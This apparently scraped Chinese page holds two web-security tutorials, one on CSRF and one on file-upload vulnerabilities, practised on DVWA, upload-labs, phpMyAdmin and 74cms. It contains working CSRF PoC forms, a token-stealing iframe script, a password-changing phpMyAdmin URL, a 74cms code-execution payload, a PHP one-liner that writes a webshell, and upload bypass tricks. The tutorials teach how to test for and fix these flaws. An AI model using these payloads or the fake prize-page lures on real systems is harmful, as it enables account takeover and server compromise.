精华内容
下载资源
问答
  • 《黑客攻防技术宝典.Web实战篇(第 2版)》是探索和研究Web 应用程序安全漏洞的实践指南。作者利用大量的实际案例和示例代码,详细介绍了各类Web 应用程序的弱点,并深入阐述了如何针对Web 应用程序进行具体的渗透...

    黑客攻防技术宝典:Web实战篇(第2版)(epub+azw3+mobi+pdf+txt+word)
     

    《黑客攻防技术宝典.Web实战篇(第 2版)》是探索和研究Web 应用程序安全漏洞的实践指南。作者利用大量的实际案例和示例代码,详细介绍了各类Web 应用程序的弱点,并深入阐述了如何针对Web 应用程序进行具体的渗透测试。本书从介绍当前Web 应用程序安全概况开始,重点讨论渗透测试时使用的详细步骤和技巧,总结书中涵盖的主题。每章后还附有习题,便于读者巩固所学内容。

    第 2 版新增了Web 应用程序安全领域近年来的发展变化新情况,并以尝试访问的链接形式提供了几百个互动式“漏洞实验室”,便于读者迅速掌握各种攻防知识与技能。

    《黑客攻防技术宝典.Web实战篇(第 2版)》适合各层次计算机安全人士和Web 开发与管理领域的技术人员阅读。

    网盘地址:https://pan.baidu.com/s/1q71QjDYq3i4SW--VhOLy2Q

    展开全文
  • 大家好,我们是红日安全-Web安全攻防小组。,,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战(https://github.com/hongriSec/Web-Security-Attack),希望对想要学习Web安全的朋友们有所...

    本文由红日安全成员:Once、编写,首发于先知社区红日专栏。如果不当,还望斧正。
    大家好,我们是红日安全-Web安全攻防小组。,,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战(https://github.com/hongriSec/Web-Security-Attack),希望对想要学习Web安全的朋友们有所帮助。每篇文章都是在基于扩展简介-突破原理-漏洞-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场,JAVA靶场,Python靶场基本上某些靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请星鼓励我们创作更好的文章。如果您愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec- redclub@qq.com)联系我们。

    1. CSRF漏洞

    1.1 CSRF漏洞简介

    CSRF(跨站请求伪造),是指利用受害者尚未失效的身份认证信息( cookie、会话
    等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下
    以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作
    (如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用

    1.2 CSRF漏洞分类

    1.2.1 GET型

    GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。

    1.2.2 POST型

    POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。

    1.3 CSRF漏洞危害

    未验证 Referer或者使用 Token 导致用户或者管理员可被 CSRF添加、修改、删除等操作。

    2. CSRF漏洞测试

    2.1 测试思路

    寻找增删改的地方,构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。

    2.2 工具测试

    2.2.1 burpsuite

    使用burpsuite中Engagement tools的Generate CSRF PoC模块
    右击要csrf攻击的url,选择Generate CSRF POC模块f0ea9529a5807135fd21f617f6d3f933.png
    然后就构造好了攻击脚本,value就是要修改成的密码57cf93b7f3ec92673bfe83d8288a21bd.png
    Test in browser一般用于自己测试用febf39e6c537de60ef465f756f47f84f.png
    然后点击copy616ecbb33f6693edf02d2d80a620c596.png
    然后用代理burpsuite的浏览器打开c0820c35187c35847113bb6c6b6dfa6a.png
    点击submit request即可修改成功密码b82e8559d8d47ef2bfa6ee04464ed5f9.png
    Copy HTML 一般用于攻击其他人,复制下代码保存为HTML文档
    可以简单修改个中奖页面,诱惑受害者点击e9f3aef40f94fb026d2895ee7d2bd23a.png3a6415ee8c2febb5d765c0b4f86035f2.png
    点击领奖成功修改密码a024ca594eaeedf7d89a98341bae7f4c.png

    2.2.2CSRFTester

    下载地址:
    https://www.owasp.org/index.php/File:CSRFTester-1.0.zip0b7e4088b058ed4d5e785be1728b7486.png
    下载后点击run.bat54764fe537c609e80d50c3a905c455f1.png
    正常打开,并监听8008端口,需要把浏览器代理设置为800859940a53c87da39e7f59048ea482075e.png
    点击Start Recording,开启CSRFTester检测工作,我们这里抓添加管理员的数据包7e91872ce7aa3d41049f53186c889fa7.png
    然后右击删除没用的数据包fcb91a20438dd3b39bb85f20c632cbb6.png

    点击Generate HTML生成CSRF攻击脚本,我们这次添加test1账号31fb4dde317e59883b6feb098ade9104.png
    打开此文件,成功添加账号2e8958dabf94747692bde532d812e877.png

    2.3 靶场测试

    这里我们选用DVWA靶场进行测试。

    2.3.1 安装步骤

    下载地址:https://codeload.github.com/ethicalhack3r/DVWA/zip/master
    漏洞环境:windows、phpstudy
    先把config目录下config.inc.php.dist文件名修改为config.inc.php,数据库密码修改为自己的。495d7743ec026e88872d1b194ac28d16.png
    然后访问dvwa,因为csrf漏洞不涉及红色部分配置,直接创建即可67251ad8d150aceff31a88c5e340abf8.png
    创建成功,账号密码是admin/passwordfc98d1c86ea52c79f188b15853aff1c8.png
    这里可以调相应的安全等级4aea448da834994c1aa3fdd4db3a052b.png

    2.3.2 low等级

    从代码中可以看出未作任何防御,直接更改密码。

    if( isset( $_GET[ 'Change' ] ) ) {   // Get input   $pass_new  = $_GET[ 'password_new' ];   $pass_conf = $_GET[ 'password_conf' ];   // Do the passwords match?   if( $pass_new == $pass_conf ) {      // They do!      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));      $pass_new = md5( $pass_new );      // Update the database      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
    '
    . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' // Feedback for the user $html .= "
    Password Changed."
    ; } else { // Issue with passwords matching $html .= "
    Passwords did not match."
    ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}

    先使用burpsuite进行抓修改密码的数据包

    4d1c956dca41a6914cfc1ade7b2e17ca.png
    再使用Generate CSRF PoC进行构造poc8c4392d5033b35bf07848b0f1405bd1d.png
    CSRF HTML中的代码是构造好的
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nS8Dd8zF-1572342583341)(https://uploader.shimo.im/f/Tg4yC6ajfJIWrVrW.png!thumbnail)]
    把构造好的代码复制出来,复制到自己创建的HTML文件里,value里的值是要修改成的密码。feddfd9feea03094f78d3bafa90365b3.png
    点击submit request即可修改a243d21284e0e7de6168d9a12246cdb6.png
    修改成功f9b012024c2e8645150ae84f4522c2a2.png

    2.3.3 medium等级

    从代码中可以看出先检测referer是否包含主机名称,再进行更改密码。

    if( isset( $_GET[ 'Change' ] ) ) {   // Checks to see where the request came from   if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {      // Get input      $pass_new  = $_GET[ 'password_new' ];      $pass_conf = $_GET[ 'password_conf' ];      // Do the passwords match?      if( $pass_new == $pass_conf ) {         // They do!         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));         $pass_new = md5( $pass_new );         // Update the database         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
    '
    . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' // Feedback for the user $html .= "
    Password Changed."
    ; } else { // Issue with passwords matching $html .= "
    Passwords did not match."
    ; } } else { // Didn't come from a trusted source $html .= "
    That request didn't look correct."
    ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}

    先看下phpinfo中SERVER_NAME是什么

    a574d46c597e0ef66004328eae62ef17.png
    访问poc,并抓包修改referer,添加localhost进行绕过9d8b0cbed531458685a00552f91fc3ab.png
    修改成功881760b1c7dd14c27d64399fb00b8c20.png

    2.3.4 high等级

    从代码可以看出增加了Anti-CSRF token机制,用户每次访问更改页面时,服务器都会返回一个随机token,向服务器发送请求时,并带上随机token,服务端接收的时候先对token进行检查是否正确,才会处理客户端请求。

    if( isset( $_GET[ 'Change' ] ) ) {   // Check Anti-CSRF token   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );   // Get input   $pass_new  = $_GET[ 'password_new' ];   $pass_conf = $_GET[ 'password_conf' ];   // Do the passwords match?   if( $pass_new == $pass_conf ) {      // They do!      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));      $pass_new = md5( $pass_new );      // Update the database      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
    '
    . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' // Feedback for the user $html .= "
    Password Changed."
    ; } else { // Issue with passwords matching $html .= "
    Passwords did not match."
    ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF token

    generateSessionToken();

    要绕过Anti-CSRF token机制,首先要获取token,再使用这个token进行修改密码。
    然后构造以下代码

    <html><body><script type="text/javascript">    function attack(){   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;  document.getElementById("transfer").submit();  }script><iframe src="http://192.168.1.108/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">iframe><body onload="attack()">  <form method="GET" id="transfer" action="http://192.168.1.108/dvwa/vulnerabilities/csrf">   <input type="hidden" name="password_new" value="hongri">    <input type="hidden" name="password_conf" value="hongri">   <input type="hidden" name="user_token" value="">  <input type="hidden" name="Change" value="Change">   form>body>html>

    访问后就立即修改密码67b41ed9f8d0b2835591853d50b91702.png

    3. 真实实战演练

    此漏洞使用VulnSpy在线靶机phpMyAdmin进行测试

    3.1 安装步骤

    靶机地址:https://www.vulnspy.com/?u=pmasa-2017-9
    存在漏洞:GET型CSRF
    点击开启实验3980ce72941b8d56df252e144b3fc41d.png
    可以登录也可以不登录ee21529f7aaae0d88e21e9597cdda924.png
    打开靶机地址,默认账号密码:root/toor,靶机只有十分钟的时间c7d8ff06855f78fa17293bbf25cef53e.png

    3.2 利用过程

    将当前用户密码更改为hongri,SQL命令

    SET passsword=PASSWORD('hongri');

    构造poc

    http://f1496b741e86dce4b2f79f3e839f977d.vsplate.me:19830/pma/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27hongri%27)

    我们可以使用短域名伪装

    5d3babd8c3746c388147ed0db6c818b5.png
    修改成功9277d95836244ff795b2b59feea3a73c.png

    4. CMS实战演练

    选取骑士cms进行CSRF漏洞实战攻击测试。

    4.1 安装步骤

    骑士cms下载地址:http://www.74cms.com/download/load/id/155.html
    漏洞环境:windows、phpstudy
    存在漏洞:POS型CSRF、代码执行

    下载解压,访问首页a69a324cf6cdab8a7a9cfaf7bfd1695f.png
    填写信息139aed2c1c5abc8480048f5c2f8766ef.png
    安装完成32a37b7390a2b90bb3559622cb1af920.png

    4.2 测试过程

    安装好后,进入添加管理员界面进行抓包46b637083238f965a3d9f1df48f4e8d9.pngab5a82503c287f801b3220fd9daf4c59.png
    使用Generate CSRF PoC生成HTML代码,并添加个中奖图片,简单伪装成中奖页面。b478efe2ab6f405732f591247fa4825d.png2391caa7b015102f4d9ced7c9a172991.png
    还可以用短域名继续伪装8246aebf03fd22754785ecb5d4b4739d.png
    然后诱导管理员打开并点击,创建成功2e68e9e844ca6a2a728baa6f89be66a1.png
    使用创建的账号密码登录850f90e65f30e653100173d57b64b0f8.png
    使用代码执行漏洞执行phpinfo
    poc:index.php?m=Admin&c=Tpl&a=set&tpl_dir=a’.${phpinfo()}.’d3aa4fd01aea0acfd9173ade2d4aa165.png

    5. 漏洞修复方案

    5.1添加随机token值,并验证。

    5.2验证Referer

    5.3关键请求使用验证码功能

    6. 参考文章

    https://www.freebuf.com/articles/web/118352.html

    http://www.yqxiaojunjie.com/index.php/archives/341/

    https://www.vulnspy.com/?u=pmasa-2017-9

    展开全文
  • 大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一文章都是...

    本文由红日安全成员:MisakiKata编写,如有不当,还望斧正。
    大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

    1. 文件上传漏洞

    1.1 漏洞简介

    文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。

    1.2 漏洞原理

    网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是可执行文件后门。

    1.3 漏洞危害

    恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等。

    2. 上传点和绕过形式

    2.1 文件上传常见点

    上传头像
    上传相册
    上传附件
    添加文章图片
    前台留言资料上传
    编辑器文件上传
    ......

    例如如下编辑器上传点:

    86172cadf68993f9eadd46ab61457af7.png

    文件管理处文件上传:

    5b5f393a22301c5b32c7ec1e1ba65be2.png

    前台用户发表文章处文件上传:

    ba8f24ad56f2d3bdffe5bffdc3ad289e.png

    个人头像处文件上传:

    fd01e16466306e8bbda345d99f3c633b.png

    2.2 后缀绕过

    PHP:
    php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
    ASP:
    asa、cer、cdx
    ASPX:
    ascx、ashx、asac
    JSP:
    jsp、jspx、jspf

    2.3 绕过类型

    Content-Type绕过
    前端绕过
    文件解析规则绕过
    Windows环境特性绕过
    文件名大小写绕过
    双写绕过
    点空格绕过
    文件头绕过
    条件竞争绕过
    ......

    在以下的文章介绍中,将采取其中的几种常见的绕过形式做演示。

    3. 漏洞在系统中的差异

    上传文件漏洞在不同的系统、架构以及行为中,利用形式也是各不相同。常用的web容器有IIS、Tomcat、Nginx、Apache等。以下主要以比较经典的解析漏洞做解释。

    3.1 IIS 5.x/6.0解析漏洞

    1、当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件。例如如下:
    漏洞目录利用形式:www.xxx.com/xx.asp/xx.jpg。
    xx.jpg的内容可以为一段合法的asp脚本文件。

    2、服务器默认不解析”;“以后的内容,导致xx.asp;.jpg被解析成xx.asp
    漏洞文件利用形式:www.xxx.com/xx.asp;.jpg
    xx.jpg的内容可以为一段合法的asp脚本文件。

    漏洞产生的原因参考详细文章内容:https://www.cnblogs.com/l1pe1/p/9210094.html

    通过对IIS6的核心文件类型解析相关文件的逆向后,整理出下面的核心处理代码。
    //reverse code by golds7n with idaint __thiscall Url(void *this, char *UrlStruct){  void *pW3_URL_INFO; // esi@1  int bSuccess; // eax@1  const wchar_t *i; // eax@2  wchar_t *wcsSlashTemp; // ebx@6  int wcsTemp; // eax@6  int wcs_Exten; // eax@6  int v8; // esi@9  int v10; // eax@11  int v11; // ST04_4@13  int v12; // eax@13  int ExtenDll; // eax@19  int Extenisa; // eax@20  int ExtenExe; // eax@21  int ExtenCgi; // eax@22  int ExtenCom; // eax@23  int ExtenMap; // eax@24  int Entry; // [sp+Ch] [bp-148h]@6  wchar_t *wcsMaohaoTemp; // [sp+10h] [bp-144h]@6  unsigned int dotCount; // [sp+14h] [bp-140h]@1  wchar_t *Str; // [sp+18h] [bp-13Ch]@3  char *url_FileName; // [sp+1Ch] [bp-138h]@1  char Url_FileExtenName; // [sp+20h] [bp-134h]@1  char v25; // [sp+50h] [bp-104h]@1 dotCount = 0;  pW3_URL_INFO = this;  STRU::STRU(&Url_FileExtenName, &v25, 0x100u);  url_FileName = (char *)pW3_URL_INFO + 228;  bSuccess = STRU::Copy((char *)pW3_URL_INFO + 228, UrlStruct);  if ( bSuccess < 0 )    goto SubEnd;  for ( i = (const wchar_t *)STRU::QueryStr((char *)pW3_URL_INFO + 228); ; i = Str + 1 )  {    Str = _wcschr(i, '.');   ***********N1************    if ( !Str )      break;    ++dotCount;    if ( dotCount > W3_URL_INFO::sm_cMaxDots )      break;    bSuccess = STRU::Copy(&Url_FileExtenName, Str);    if ( bSuccess < 0 )      goto SubEnd;    wcsSlashTemp = _wcschr(Str, '/'); ***********N2************    JUMPOUT(wcsSlashTemp, 0, loc_5A63FD37);    wcsTemp = STRU::QueryStr(&Url_FileExtenName);    wcsMaohaoTemp = _wcschr((const wchar_t *)wcsTemp, ':');  ***********N3************    JUMPOUT(wcsMaohaoTemp, 0, loc_5A63FD51);    wcs_Exten = STRU::QueryStr(&Url_FileExtenName);    __wcslwr((wchar_t *)wcs_Exten);    if ( META_SCRIPT_MAP::FindEntry(&Url_FileExtenName, &Entry) )    {      *((_DWORD *)pW3_URL_INFO + 201) = Entry;      JUMPOUT(wcsSlashTemp, 0, loc_5A63FDAD);      STRU::Reset((char *)pW3_URL_INFO + 404);      break;    }    if ( STRU::QueryCCH(&Url_FileExtenName) == 4 )    {      ExtenDll = STRU::QueryStr(&Url_FileExtenName);      if ( !_wcscmp(L".dll", (const wchar_t *)ExtenDll)        || (Extenisa = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".isa", (const wchar_t *)Extenisa)) )        JUMPOUT(loc_5A63FD89);      ExtenExe = STRU::QueryStr(&Url_FileExtenName);      if ( !_wcscmp(L".exe", (const wchar_t *)ExtenExe)        || (ExtenCgi = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".cgi", (const wchar_t *)ExtenCgi))        || (ExtenCom = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".com", (const wchar_t *)ExtenCom)) )        JUMPOUT(loc_5A63FD89);      ExtenMap = STRU::QueryStr(&Url_FileExtenName);      JUMPOUT(_wcscmp(L".map", (const wchar_t *)ExtenMap), 0, loc_5A63FD7B);    }  }  if ( *((_DWORD *)pW3_URL_INFO + 201)    || (v10 = *((_DWORD *)pW3_URL_INFO + 202), v10 == 3)    || v10 == 2    || (v11 = *(_DWORD *)(*((_DWORD *)pW3_URL_INFO + 204) + 0xC4C),        v12 = STRU::QueryStr(url_FileName),        bSuccess = SelectMimeMappingForFileExt(v12, v11, (char *)pW3_URL_INFO + 756, (char *)pW3_URL_INFO + 1012),        bSuccess >= 0) )    v8 = 0;  elseSubEnd:    v8 = bSuccess;  STRU::_STRU(&Url_FileExtenName);  return v8;}

    以上有三处被标记的位置,这三处是用来检测点号、反斜杠、分号。、

    可以理解为的检测流程为:

    www.xxx.com/xxx.asp;xxx.jpg
    N1:从头部查找查找"."号,获得".asp;xxxx.jpg"
    N2:查找";"号,如果有则内存截断
    N3:查找"/",如果有则内存截断

    因此,.asp将最终被保存下来,IIS6只简单地根据扩展名来识别,所以从脚本映射表中里查找脚本与扩展名对比,并利用asp.dll来解析。导致最终的问题产生。

    对于此问题,微软并不认为这是一个漏洞,同样也没推出IIS6.0解析漏洞的补丁。因此在IIS6.0的网站下,此问题仍然可以尝试是否存在。

    3.2 Nginx 解析漏洞

    Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Rambler.ru站点开发的。

    在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。为什么是由于PHP-CGI的原因呢,因为在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的,当URL中有不存在的文件时,PHP就会默认向前解析。

    普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。访问 ”www.xx.com/phpinfo.jpg/1.php” 这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP-CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

    在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

    然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。同样利用phpstudy说明,上传1.jpg格式的文件,内容为访问phpinfo,如下即可触发:

    89ad4e545fb9f8ff3e1d4e612a873eba.png

    3.3 Apache 解析漏洞

    Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。

    Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:

    www.xxxx.com/apache.php.bbb.aaa

    Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止,然后将该可识别后缀进解析,因此如上地址解析为访问apache.php文件。

    那么为什么会产生此问题原因,在Apache的官方网站上,有一句这么关于“extension”的解释:

    地址:http://httpd.apache.org/docs/current/mod/directive-dict.html

    extension
    In general, this is the part of the filename which follows the last dot. However, Apache recognizes multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the filename following the first dot is an extension. For example, the filename file.html.en contains two extensions: .html and .en. For Apache directives, you may specify extensions with or without the leading dot. In addition, extensions are not case sensitive.

    ffd87f501c3d7e4e5bb38bf582815c37.png

    通过这个解释可以看出来,Apache允许文件有多个后缀名,并会按照第一个点来分析文件后缀,例如file.html.en。Apache按照每个点来分割后缀名,因此此文件名为.html、.en。由于en后缀不被识别,便继续向前解析。

    另外对于Apache解析漏洞的正确说法应该是,使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。而是否解析的后缀名在文件mime.types中查找是否出现。

    此处使用phpstudy测试,利用dvwa的文件上传功能,上传1.php.wwe。结果解析如下:

    4f235c9092f985bea6804c188f3c4469.png

    4. 测试

    以下采用手工测试和工具测试两种方法来进行文件上传测试。

    4.1 手工测试

    对于文件上传漏洞方式和举例此处采用一个文件靶场,地址:https://github.com/c0ny1/upload-labs

    以下将利用靶场其中的一部分内容来举例说明文件上传漏洞的产生和效果。

    环境:Ubuntu 18、Windows phpStudy (采用不一样的系统,为了在不同系统的差异做演示)

    WEB容器:Apache 2.0

    语言:PHP

    抓包工具:Burp Suite Pro

    验证工具:Hackbar插件

    4.1.1 前端验证

    此种验证形式在很多网站、CMS都有使用,只在前端利用JS来做效验,采用禁用JS上传、抓包上传都可以绕过此处限制。此处采用抓包演示。

    924468bde6a29ea3c5a4ed6ef656c035.png

    点击上传文件,选择已经改成“.jpg”后缀的后门文件。修改burp中的文件后缀信息。

    996d514b91d2117a2d365c793b0caed8.png

    访问已经上传的文件,利用Hackbar访问phpinfo()。可以看到后门已经得到执行。

    21a99b540ebb771af828086dcb867803.png

    4.1.2 htaccess规则文件绕过

    在利用.htaccess文件之前,我们先来了解一下什么是.htaccess规则文件。.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。

    概述来说,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

    在一些启用了.htaccess文件的网站上就可以使用此文件类型来绕过限制较全面的黑名单过滤。

    先上传一个.htaccess文件,内容为:AddType application/x-httpd-php .aaa。如下:

    abfeac357e6fa225784ae6c0adcc2112.png

    然后再上传文件后缀为.aaa的文件,让其解析为php类型文件。

    834ac912ccb35a6ac32592833e000747.png

    上传成功后访问此上传文件,访问如下:

    0a5d02ff0fa256d1051325c1aae48a9a.png

    4.1.3 文件名后缀大小写混合绕过

    在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。如下形式:

    7b6703cabb2a1a79110d544ed1de5436.png

    访问上传成功的文件:

    8190376d12b984cd06bc360b234f02fd.png

    4.1.4 Windows文件流特性绕过

    在讨论这种特性之前,我们先来认识一下Windows文件流。流文件,即NTFS交换数据流(alternate data streams,简称ADS),是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中,它使用资源派生来维持与文件相关的信息。创建一个数据交换流文件的方法很简单,命令为“宿主文件:准备与宿主文件关联的数据流文件”。

    详细相关介绍和内容可以查看文章:https://www.freebuf.com/column/143101.html。此处不做深入解释。

    上传文件为xxx.php::$DATA类型的文件。可以看到上传的文件为xxx.php::$data。

    29b9cff9982f2f7bbea216a0e017a4db.png

    我们访问的时候就可以直接访问xxx.php文件。

    a2293e45c4ab4fdeee8ce53eb655db83.png

    4.1.5 %00截断绕过

    以上问题被绕过的根本原因是采用了一些有缺陷的黑名单限制,一般采用白名单的限制会减少相当多的绕过问题产生,但是并不意味着一定安全,在某些没有处理严格的程序上,仍然可以采用截断绕过的形式。

    首先我们来看这段上传的代码:

    $is_upload = false;$msg = null;if(isset($_POST['submit'])){    $ext_arr = array('jpg','png','gif');    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);    if(in_array($file_ext,$ext_arr)){        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;        if(move_uploaded_file($temp_file,$img_path)){            $is_upload = true;        } else {            $msg = "上传失败";        }    } else {        $msg = "只允许上传.jpg|.png|.gif类型文件!";    }}

    可以看出代码采用的白名单校验,只允许上传图片格式,理论上这个上传是不好绕过的。但是后面采用保存文件的时候,是路径拼接的形式,而路径又是从前端获取,所以我们可以采用在路径上截断。如下上传,显示文件路径中有个空格,这并不是真正意义上的空格,而是%00截断后显示成的空格。

    410c096fd8da6624c96725ee75647ce8.png

    访问上传地址路径:

    ba487c1410ae736c5d4401210708f833.png

    4.1.6 文件头检测绕过

    提到文件头检测,我们就先来认识一下常见文件的文件头格式。我们先打开一个正常的JPG图片格式文件,查看文件的文件头十六进制。采用010Editor。

    3adaa24731f4e476576bece9718bc8a2.png

    右边栏中有明显的JFIF存储格式字样,文件头前十个字节为FF D8 FF E0 00 10 4A 46 49 46,其中开头标红的为标记码,FF D8代表SOI标记,意思是图像文件开始值。4A 46 49 46代表字符串JFIF标记。

    关于JPEG文件格式介绍可以阅读:https://www.cnblogs.com/sddai/p/5666924.html

    然后我们再打开一份PNG文件格式的图片,同样采用010Editor来查看其十六进制。

    9c3a75dcbca22e2fca90dbd95012aeaf.png

    对于的开头4字节为右栏中‰PNG字样,PNG的8字节文件署名域用来识别该文件是不是PNG文件。也就是89 50 4E 47 0D 0A 1A 0A

    关于PNG文件格式可以阅读:https://blog.csdn.net/qq_21950929/article/details/79198814

    同样打开一份GIF文件格式图片,用010Editor来打开查看文件。

    38bfd1f86e51714c0b2a85e5cf8d86a9.png

    文件十六进制中可以看到,其中47 49 46 38 39 61,代表了右栏中的GIF89a,这六个字节作为了GIF文件格式头的开头文件。而在其后的绕过中就采用了GIF89a这个字符串。

    关于GIF文件格式可以阅读:https://www.jianshu.com/p/df52f1511cf8

    了解过文件格式后,我们来看这个文件格式检测绕过形式,首先查看代码,为了方便演示修改了源代码对文件格式的获取,此处只读取文件的前两个字节值:

